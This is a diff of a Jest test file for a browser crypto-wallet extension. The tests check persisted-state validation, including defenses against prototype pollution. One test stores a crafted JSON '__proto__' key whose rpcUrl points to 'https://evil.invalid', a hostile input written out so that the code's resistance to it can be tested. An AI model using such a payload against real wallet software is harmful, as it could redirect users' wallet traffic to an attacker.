expect(stateProblem({ wallets: ADDRESS })).toMatch(/not a list/);
|
||||||
|
expect(stateProblem({ wallets: { 0: {} } })).toMatch(/not a list/);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a wallet that is not a wallet record", () => {
|
||||||
|
expect(stateProblem({ wallets: [null] })).toMatch(/wallet record/);
|
||||||
|
expect(stateProblem({ wallets: [42] })).toMatch(/wallet record/);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a wallet whose addresses are missing or not records", () => {
|
||||||
|
expect(stateProblem({ wallets: [{ name: "Wallet 1" }] })).toMatch(
|
||||||
|
/no list of addresses/,
|
||||||
|
);
|
||||||
|
expect(stateProblem({ wallets: [{ addresses: [ADDRESS] }] })).toMatch(
|
||||||
|
/not a record/,
|
||||||
|
);
|
||||||
|
expect(stateProblem({ wallets: [{ addresses: [{}] }] })).toMatch(
|
||||||
|
/no address/,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the problem names WHICH wallet, counting from one", () => {
|
||||||
|
const problem = stateProblem({
|
||||||
|
wallets: [validProfile().wallets[0], { name: "Wallet 2" }],
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(problem).toContain("Wallet 2");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("assertStateUsable throws the sentence, not a generic error", () => {
|
||||||
|
let thrown = null;
|
||||||
|
try {
|
||||||
|
assertStateUsable({ wallets: ADDRESS });
|
||||||
|
} catch (e) {
|
||||||
|
thrown = e;
|
||||||
|
}
|
||||||
|
|
||||||
|
expect(thrown).toBeInstanceOf(StateUnusableError);
|
||||||
|
expect(thrown.problem).toMatch(/not a list/);
|
||||||
|
expect(thrown.message).toBe(thrown.problem);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("networkId, which is used as an object key", () => {
|
||||||
|
// https://git.eeqj.de/sneak/AutistMask/issues/311#issuecomment-67478:
|
||||||
|
// state.networkId keys state.networkEndpoints, so a corrupt "__proto__"
|
||||||
|
// sets that map's prototype instead of an own key and the user's endpoint
|
||||||
|
// is silently not recorded.
|
||||||
|
test("a network this build does not know is refused", () => {
|
||||||
|
expect(stateProblem(validProfile({ networkId: "base" }))).toMatch(
|
||||||
|
/does not know/,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('"__proto__" and "constructor" are refused, not resolved', () => {
|
||||||
|
for (const id of ["__proto__", "constructor", "toString"]) {
|
||||||
|
expect(stateProblem(validProfile({ networkId: id }))).toMatch(
|
||||||
|
/does not know/,
|
||||||
|
);
|
||||||
|
expect(isKnownNetworkId(id)).toBe(false);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the gate reads own properties only", () => {
|
||||||
|
// A record whose PROTOTYPE carries the fields must not be read as
|
||||||
|
// though it carried them itself: that is how a polluted prototype
|
||||||
|
// would decide whether a profile is refused.
|
||||||
|
const inherited = Object.create({
|
||||||
|
schemaVersion: STATE_SCHEMA_VERSION + 99,
|
||||||
|
networkId: "base",
|
||||||
|
wallets: "not a list",
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(stateProblem(inherited)).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("normalizing never turns a stored key into a prototype", () => {
|
||||||
|
// JSON can carry an own "__proto__" key, and plain assignment would
|
||||||
|
// treat it as the prototype setter rather than storing an entry.
|
||||||
|
const saved = JSON.parse(
|
||||||
|
'{"networkId":"mainnet","networkEndpoints":' +
|
||||||
|
'{"__proto__":{"rpcUrl":"https://evil.invalid"}}}',
|
||||||
|
);
|
||||||
|
|
||||||
|
const out = normalizePersisted(saved);
|
||||||
|
|
||||||
|
expect(Object.prototype.hasOwnProperty.call(out, "rpcUrl")).toBe(true);
|
||||||
|
expect(out.rpcUrl).not.toBe("https://evil.invalid");
|
||||||
|
expect(Object.getPrototypeOf(out.networkEndpoints)).toBe(
|
||||||
|
Object.prototype,
|
||||||
|
);
|
||||||
|
expect({}.rpcUrl).toBeUndefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an unknown stored networkId never reaches the endpoint map", () => {
|
||||||
|
// The floor under the gate: normalization alone must not adopt it.
|
||||||
|
const out = normalizePersisted({ networkId: "__proto__" });
|
||||||
|
|
||||||
|
expect(out.networkId).toBe("mainnet");
|
||||||
|
expect(Object.keys(out.networkEndpoints)).toEqual(["mainnet"]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the floors under the gate, for fields the gate does not check", () => {
|
||||||
|
// The gate's scope is what nothing can floor. Everything it lets through
|
||||||
|
// is normalizePersisted()'s to make safe, and a floor written as
|
||||||
|
// `saved.x || default` is not one: a truthy value of the wrong type walks
|
||||||
|
// through it and throws on the first dereference, which produced the blank
|
||||||
|
// popup from the issue. Nor is a container check on its own: [1, 2] is a
|
||||||
|
// list, and the dereference is `t.address.toLowerCase()` one level below
|
||||||
|
// it. Container AND entries, therefore — an empty list still survives.
|
||||||
|
const TOKEN = "0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
||||||
|
|
||||||
|
test("trackedTokens that is not a list becomes an empty list", () => {
|
||||||
|
for (const bad of ["nope", 42, true, { a: 1 }]) {
|
||||||
|
expect(
|
||||||
|
normalizePersisted({ trackedTokens: bad }).trackedTokens,
|
||||||
|
).toEqual([]);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a trackedTokens entry that is not a token record is dropped", () => {
|
||||||
|
for (const bad of [1, null, {}, { address: 42 }, TOKEN, [], true]) {
|
||||||
|
expect(
|
||||||
|
normalizePersisted({ trackedTokens: [bad] }).trackedTokens,
|
||||||
|
).toEqual([]);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a real trackedTokens list survives, copied not shared", () => {
|
||||||
|
const saved = { trackedTokens: [{ address: ADDRESS, symbol: "AM" }] };
|
||||||
|
|
||||||
|
const out = normalizePersisted(saved);
|
||||||
|
|
||||||
|
expect(out.trackedTokens).toEqual(saved.trackedTokens);
|
||||||
|
expect(out.trackedTokens).not.toBe(saved.trackedTokens);
|
||||||
|
expect(normalizePersisted({ trackedTokens: [] }).trackedTokens).toEqual(
|
||||||
|
[],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a good trackedTokens entry beside a malformed one survives", () => {
|
||||||
|
const good = { address: TOKEN, symbol: "AM", decimals: 18 };
|
||||||
|
|
||||||
|
expect(
|
||||||
|
normalizePersisted({ trackedTokens: [1, null, good, {}] })
|
||||||
|
.trackedTokens,
|
||||||
|
).toEqual([good]);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Below an address record, which the gate walks but does not descend into.
|
||||||
|
// refreshBalances() writes tokenBalances WHOLESALE, so a write that only
|
||||||
|
// partly lands leaves exactly this field malformed.
|
||||||
|
function walletWith(tokenBalances) {
|
||||||
|
return {
|
||||||
|
wallets: [
|
||||||
|
{
|
||||||
|
name: "Wallet 1",
|
||||||
|
addresses: [{ address: ADDRESS, tokenBalances }],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function balancesOf(out) {
|
||||||
|
return out.wallets[0].addresses[0].tokenBalances;
|
||||||
|
}
|
||||||
|
|
||||||
|
test("an address's tokenBalances that is not a list becomes an empty list", () => {
|
||||||
|
for (const bad of ["x", 42, true, { a: 1 }, undefined]) {
|
||||||
|
expect(balancesOf(normalizePersisted(walletWith(bad)))).toEqual([]);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a tokenBalances entry that is not a token record is dropped", () => {
|
||||||
|
for (const bad of [null, 42, "x", {}, { address: 42 }]) {
|
||||||
|
expect(balancesOf(normalizePersisted(walletWith([bad])))).toEqual(
|
||||||
|
[],
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a real tokenBalances entry survives, copied not shared", () => {
|
||||||
|
const held = { address: TOKEN, symbol: "AM", balance: "2.0" };
|
||||||
|
const saved = walletWith([held]);
|
||||||
|
|
||||||
|
const out = normalizePersisted(saved);
|
||||||
|
|
||||||
|
expect(balancesOf(out)).toEqual([held]);
|
||||||
|
expect(balancesOf(out)[0]).not.toBe(held);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("activeAddress that is not text becomes null", () => {
|
||||||
|
for (const bad of [42, true, { a: 1 }, [ADDRESS]]) {
|
||||||
|
expect(
|
||||||
|
normalizePersisted({ activeAddress: bad }).activeAddress,
|
||||||
|
).toBeNull();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a real activeAddress survives; the empty string becomes null", () => {
|
||||||
|
expect(
|
||||||
|
normalizePersisted({ activeAddress: ADDRESS }).activeAddress,
|
||||||
|
).toBe(ADDRESS);
|
||||||
|
// "" is text but it is not an address, and src/popup/index.js
|
||||||
|
// auto-selects the first address only on a STRICT null — so keeping
|
||||||
|
// the empty string would leave the popup with none ever selected.
|
||||||
|
expect(
|
||||||
|
normalizePersisted({ activeAddress: "" }).activeAddress,
|
||||||
|
).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("networkById on an unknown id", () => {
|
||||||
|
test("throws instead of quietly answering mainnet", () => {
|
||||||
|
expect(() => networkById("base")).toThrow(UnknownNetworkError);
|
||||||
|
expect(() => networkById(undefined)).toThrow(UnknownNetworkError);
|
||||||
|
// Both of these used to answer with something truthy off the
|
||||||
|
// prototype chain rather than with a network.
|
||||||
|
expect(() => networkById("constructor")).toThrow(UnknownNetworkError);
|
||||||
|
expect(() => networkById("__proto__")).toThrow(UnknownNetworkError);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("still answers every network it does know", () => {
|
||||||
|
for (const id of Object.keys(NETWORKS)) {
|
||||||
|
expect(networkById(id).id).toBe(id);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the version stamp on the way out", () => {
|
||||||
|
function loadStateModule(persisted) {
|
||||||
|
jest.resetModules();
|
||||||
|
const storage = makeStorageStub(
|
||||||
|
persisted ? { autistmask: persisted } : {},
|
||||||
|
);
|
||||||
|
global.chrome = { storage };
|
||||||
|
return { storage, mod: require("../src/shared/state") };
|
||||||
|
}
|
||||||
|
|
||||||
|
test("the popup stamps it on a profile that had none", async () => {
|
||||||
|
const { storage, mod } = loadStateModule(validProfile());
|
||||||
|
|
||||||
|
await mod.loadState();
|
||||||
|
await mod.saveState();
|
||||||
|
|
||||||
|
expect(storage.read("autistmask").schemaVersion).toBe(
|
||||||
|
STATE_SCHEMA_VERSION,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the background stamps it on a profile that had none", async () => {
|
||||||
|
jest.resetModules();
|
||||||
|
const storage = makeStorageStub({ autistmask: validProfile() });
|
||||||
|
global.chrome = { storage };
|
||||||
|
const { updateState } = require("../src/background/state");
|
||||||
|
|
||||||
|
await updateState((s) => {
|
||||||
|
s.lastBalanceRefresh = 1;
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(storage.read("autistmask").schemaVersion).toBe(
|
||||||
|
STATE_SCHEMA_VERSION,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a save refuses to write over a record it cannot read", async () => {
|
||||||
|
// Another context — a newer build, or something else entirely — wrote
|
||||||
|
// a record this one does not understand while this page was open. That
|
||||||
|
// record is the only copy of whatever it holds, and normalizing it
|
||||||
|
// back into storage would destroy it.
|
||||||
|
const { storage, mod } = loadStateModule(validProfile());
|
||||||
|
await mod.loadState();
|
||||||
|
|
||||||
|
const hostile = { schemaVersion: STATE_SCHEMA_VERSION + 1 };
|
||||||
|
storage.write("autistmask", hostile);
|
||||||
|
|
||||||
|
// By name rather than by constructor: jest.resetModules() above gives
|
||||||
|
// the module under test its own copy of the error class, so instanceof
|
||||||
|
// across that boundary would be comparing two identical classes.
|
||||||
|
const thrown = await mod.saveState().then(
|
||||||
|
() => null,
|
||||||
|
(e) => e,
|
||||||
|
);
|
||||||
|
expect(thrown && thrown.name).toBe("StateUnusableError");
|
||||||
|
expect(thrown.problem).toMatch(/newer version/);
|
||||||
|
expect(storage.read("autistmask")).toEqual(hostile);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the typed confirmation phrase", () => {
|
||||||
|
test("the markup asks for the phrase the code checks", () => {
|
||||||
|
// The button is behind a phrase typed by hand. A screen that asks for
|
||||||
|
// one phrase while the code compares another is an exit that cannot be
|
||||||
|
// taken, on the one screen that exists to be an exit.
|
||||||
|
const html = fs.readFileSync(
|
||||||
|
path.join(__dirname, "..", "src", "popup", "index.html"),
|
||||||
|
"utf8",
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(html).toContain(RESET_PHRASE);
|
||||||
|
});
|
||||||
|
});
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user